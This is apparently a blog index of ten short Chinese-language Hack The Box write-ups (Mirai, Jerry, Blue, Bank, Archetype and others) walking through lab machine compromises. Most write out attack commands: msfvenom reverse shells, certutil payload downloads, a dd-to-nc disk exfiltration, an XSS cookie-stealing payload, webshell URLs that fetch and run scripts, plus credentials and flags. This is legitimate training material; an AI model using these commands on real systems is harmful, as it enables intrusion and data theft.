Mirai (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/64 IP : 10.129.214.20 Recon http://10.129.214.20/首頁是空ㄉ Rustscan- nmap- nmap -A -p22,53,80,2000,32400,32469 10.129.214.20dirsearch 掃目錄- 32400 Port 跑了一個 PLEX- Pi-Hole 在 :80/admin- https://www.exploit-db.com/exploits/48442需要密碼才能 RCEdnsmasq Exploit https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py 爆破密碼 hydra -l '' -P /opt/wordlists/rockyou.txt 10.129.214.20 http-post-form "/admin/index.php?login:pw=^PASS^:Forgot password" 跑了很久都沒有,應該不是 QQ Exploit 看到 Pi-Hole 又有 PLEX 影音伺服器猜他是樹梅派所以 pi 預設帳密- pi / raspberrySSH- 好無聊 = =取得 User Flag- ff837707441b257a20e32199d7c8838d 提權 起手式 sudo -l 發現可以直接變 root 數位鑑識 取 root flag 搞事ㄛ = =確認外接裝置- 到隨身碟裡找東西- 詹姆斯在搞ㄛ = =直接暴力解- strings 硬碟 3d3e483143ff12ec505d026fa13e020b暴力解也可以傳回本地處理- 本地監聽 nc -l 1234 > usbstick.dump 遠端用 dd 把資料丟出來sudo dd if=/dev/sdb | nc -w3 10.10.16.35 1234 嘗試失敗的方法 (Testdisk) 使用 Testdisk 還原https://blog.gtwang.org/linux/testdisk-linux-recover-deleted-files/用 scp 傳過去- 解壓縮- 用 sudo 執行- 選定硬碟 sdb- 預設沒有分割區- 選擇格式- 找到刪除的 root.txt- 選到 root.txt 按 C 選存檔位置- 但這樣出來的檔案是空的 QQ

2021-09-15 · 1 分鐘 · steven

Jerry (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/144 IP :10.129.1.110 Scan 掃 Portrustscan -a 10.129.1.110 -r 1-65535 發現有開8080 Brute Force 嘗試 msf 爆破auxiliary/scanner/http/tomcat_mgr_login 發現密碼是 tomcat:s3cret Wordlist- /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt 進入 Manager APP 發現不登入直接按 Manager App 就可以進後台ㄌ= = Web shell 準備 jsp web shellhttps://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jspjar -cvf cmd.war cmd.jsp- 上傳 webshell- 執行 webshell- 發現本來就是 system 權限確認系統資料- 64 bit Reverse shell 準備 Reverse shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe > shell.exe下載 reverse shell- certutil -urlcache -f http://10.10.16.35/shell.exe shell8787.exe 執行 Reverse shell- 取得 Flag-

2021-09-15 · 1 分鐘 · steven

Grandpa (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/13 IP : 10.129.2.85 Recon Rustscan 開 80 portnmap- 發現是 IIS6 可以用 CVE-2017-7269 RCE https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269 Exploit 執行 Exploit開 nc 收 shell- 跑 systeminfo- 發現 Windows 2003 可以跑 Churrasco- https://github.com/Re4son/Churrasco用 impacket-smbserver meow . 開- 執行 Churrasco提權完畢- 取得 User Flag- bdff5ec67c3cff017f2bedc146a5d869取得 Root Flag- 9359e905a2c35f861f6a57cecf28bb7b

2021-09-15 · 1 分鐘 · steven

Granny (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/14 IP : 10.129.2.63 Recon 觀察首頁 IIS 6nmap 掃 port- nmap -A -p80 10.129.2.63 掃目錄- 發現一些奇怪的 dll- http://10.129.2.63/_vti_inf.html FPAuthorScriptUrl="_vti_bin/_vti_aut/author.dll" FPAdminScriptUrl="_vti_bin/_vti_adm/admin.dll" TPScriptUrl="_vti_bin/owssvr.dll" Exploit https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269![](/uploads/2022/02/d60bd-EOeoMgt.png)nc 收 shell- 確認使用者- systeminfo- 送 windows-exploit-suggester.py- 測 CVE-2015-1701- https://github.com/hfiref0x/CVE-2015-1701 certutil -urlcache -f http://10.10.16.35/Taihou32.exe Taihou32.exe impacket-smbserver meow . copy \\10.10.16.35\meow\Taihou32.exe Taihou32.exe shell 卡住不能用 QQQ 提權 準備 shellmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f dll > s.dll rundll32 s.dll``churrasco- churrasco.exe -d “shellx86.exe"nc 收 shell- User flag- 700c5dc163014e22b3e408f8703f67d1Root Flag- aa4beed1c0584445ab463a6747bd06e9 學到ㄌ smb 傳檔案 盡量 webshell QQ

2021-09-15 · 1 分鐘 · steven

Blue (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/51 IP : 10.129.209.90 Recon Rustscannmap- nmap -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.129.209.90系統版本- Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)smb- nmapAutomator- Exploit https://github.com/helviojunior/MS17-010修改 send_and_execute.py 裡面的 username等於 guestMSF 準備 shell- msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe -o shellx64.exe其實這邊用 x86 也可以執行 Exploit- python send_and_execute.py 10.129.216.62 ../shellx64.exe nc 收 shell- MSF Exploit use windows/smb/ms17_010_eternalblue options set RHOSTS 10.129.216.62 set LHOST 10.10.16.35 runGet Root Key- ff548eb71e920ff6c08843ce9df4e717 Get User Key- 4c546aea7dbee75cbd71de245c8deea9

2021-09-15 · 1 分鐘 · steven

Blocky (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/48 IP : 10.129.1.53 Recon RustscanNmap- 觀察首頁- 看起來是 Wordpress掃目錄- https://www.exploit-db.com/exploits/46676 phpmyadmin pluginsPHPmyadmin- Version 4.5.4.1 有 Exploithttps://www.exploit-db.com/exploits/40185要帳密繼續觀察- 他有一個 Wiki 其實剛剛 dirsearch 就有看到 Wordpress 觀察 Wordpress 使用者http://10.129.1.53/index.php/?author=1 notch 嘗試登入 /wp-admin- 觀察目錄 /plugins- plugins 裡面有兩個檔案 感覺 BlockyCore.jar 是它們自己寫的 Reverse 用 r2 觀察算ㄌ還是不要裝逼,乖乖用 jd-gui 笑死- 找到 db 帳密- root 8YsqfCTnvxAUeduzjNSXe22 PHP My admin 用帳密登入後找到 Wordpress 使用者頁面 備份原本使用者的 hash 以備不時之需 $P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/把 hash 修改成 12345 的 md5- 827ccb0eea8a706c4c34a16891f84e7b 登入 Wordpress 用帳號 notch 密碼 12345 登入在 plugin 中增加 php web shell- 確認 webshell 可用- 下載 reverse shell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=wget%2010.10.16.35:8000/s_HTB執行 webshell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=bash%20s_HTB Reverse shell spawn shellpython3 -c 'import pty; pty.spawn("/bin/bash")' 提權 跑 Linpeas 發現可以 Kernel Exploit https://github.com/rlarabee/exploits/tree/master/cve-2017-16995編譯並丟過去- https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c 取得 Flag- User 59fee0977fb60b8a0bc6e41e751f3cd5Root- 0a9694a5b4d272c694679f7860f1cd5f看了一下正規解- 貌似可以直接用 SQL 密碼 SSH 登入 然後 sudo su 就結束ㄌ ㄏㄏ

2021-09-15 · 1 分鐘 · steven

Bashed (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/118 IP : 10.129.209.72 Recon RustscanWeb- dirsearch 發現 /dev/ 裡面有 phpbash PHP Bash 可以直接用 cat /etc/passwd 指令 Reverse shell 直接戳習慣的 reverse shell 會自動離開改戳 msf 的 reverse shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f elf > shell就順利接上了- spawn shell- python -c 'import pty; pty.spawn("/bin/bash")' 提權 起手式 sudo -l 可以切換使用者到 scriptmanager sudo -u scriptmanager bash 跑 Linpeas 傳回來- cat s_peas.txt > /dev/tcp/10.10.16.35/1234使用 CVE-2017-16995 Kernel Exploit- wget http://10.10.16.35/CVE-2017-16995/exploit 成功提權取得 Root Flag- cc4f0afe3a1026d402ba10329674a8e2 提權 2 觀察 /scripts裡面看起來 是 cronjob 跑 Python 用 msf 再生一個 reverse shell (跟目前不同 port)- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1傳到靶機加權限- wget 10.10.16.35/shell1 chmod 777 shell1寫入 cron job 的 py- echo 'import os' >> test.py echo 'os.system("/scripts/shell1")' >> test.py收到 Reverse shell-

2021-09-15 · 1 分鐘 · steven

Bank (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/26 IP : 10.129.29.200 Recon RustscanNmap- 通靈加 Host- 加 /etc/hosts加 Host 載下來看- 發現 302 轉走,但其實是有資料ㄉ掃目錄- http://bank.htb/assets/ 嘗試傳 Webshell support.php 看起來可以傳檔案 但只能傳圖片嘗試用各種方法繞- 但基本上都失敗 取得密碼 通靈掃到 /balance-transfer 發現裡面的資訊都有過加密- 複製出來觀察 size a = a.replace("[ ] ","") a = a.split("\n") l = [] for i in a: i = i.split(" ") l.append(int(i[1])) l.sort() print(l) 發現有一個檔案大小只有257 觀察檔案內容- 取得帳密chris@bank.htb !##HTBB4nkP4ssw0rd!##順利登入- 又回到 support.php- 測各種副檔名繞過- s.php%00.jpg s.php\x00.jpg 都失敗測 XSS- new Image().src="http://10.10.16.35:1234/"+document.cookie 成功檢查註解- 發現可以用 .htb 成功上傳 Webshell- 執行 Reverse shell bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB http://bank.htb/uploads/s.htb?A=bash%20s_HTB spawnpython -c 'import pty; pty.spawn("/bin/bash")' 提權 Kernel Version有奇怪的 SUID 程式- 直接執行- 就 Root shell ㄌ取得 Flag- RootUser- 嘗試不登入傳 shell 先隨便傳Burp 改副檔名 .htb- 上傳成功- 所以取得密碼的那一段根本不用做就可以結束ㄌ= = 學到了 php 副檔名方法 注意註解 QQ

2021-09-15 · 1 分鐘 · steven

Optimum (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/6 IP : 10.129.209.84 Information Gathering 掃 Port觀察 80 port- HFS 2.3 尋找 Exploit 找到https://www.exploit-db.com/exploits/39161 需要準備 ncwget https://github.com/int0x33/nc.exe/raw/master/nc.exe依照需求開 http server- python3 -m http.server 80 放 nc執行腳本- 收到 Reverse shell- 取得 User flag- 提權 systeminfo載豌豆- certutil -urlcache -f http://10.10.16.35:8000/winPEASx64.exe winpeas.exe 執行豌豆- 看到帳密kostas kdeEjDowkS*使用 Windows-Exploit-Suggester- https://github.com/AonCyberLabs/Windows-Exploit-Suggester 需要先裝指定版本的 xlrdpip install xlrd==1.2.0``./windows-exploit-suggester.py --update- 尋找推薦的 Exploit 腳本嘗試 MS16-032- wget https://www.exploit-db.com/download/39719 -O Invoke-MS16-032.ps1 載腳本certutil -urlcache -f http://10.10.16.35/Invoke-MS16-032.ps1 Invoke-MS16-032.ps1失敗- https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html 看起來因為他是給 GUI 用的,需要彈出額外視窗嘗試 MS16-098- https://github.com/sensepost/ms16-098 載下來執行 成功取得 System Flag-

2021-09-09 · 1 分鐘 · steven

Archetype (Hack The Box Writeup)

掃 Port rustscan -a 10.10.10.27 -r 1-65535nmap 繼續掃- nmap -A -p135,139,445,5985,47001,49664,49665,49666,49667,49669,49668 10.10.10.27 一堆的 RPC SMB 1433 是 MSSQL SMB SMB 匿名登入 發現 backupsbackups 資料夾- 一個 Config 載下來取得密碼資訊- Host Name : ARCHETYPE User ID : sql_svc Password : M3g4c0rp123 MSSQL 安裝 impacketsudo apt install python3-impacket``impacket-mssqlclient -p 1433 sql_svc@10.10.10.27 -windows-auth- MSSQL 取得 Shell 就有機會可以 RCE- exec xp_cmdshell '{指令}'``systeminfo- dir- exec xp_cmdshell 'dir'透過開啟本地 smb- impacket-smbserver meow .準備 Reverse shell- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=7877 -e x86/shikata_ga_nai -f exe > shell.exe經測試,不掛 x86/shikata_ga_nai 就會被 Defender 吃掉 Shell 執行 Shellexec xp_cmdshell '\\10.10.16.16\meow\shell.exe' 收回 Reverse shell- 取得 User Flag

2021-09-09 · 1 分鐘 · steven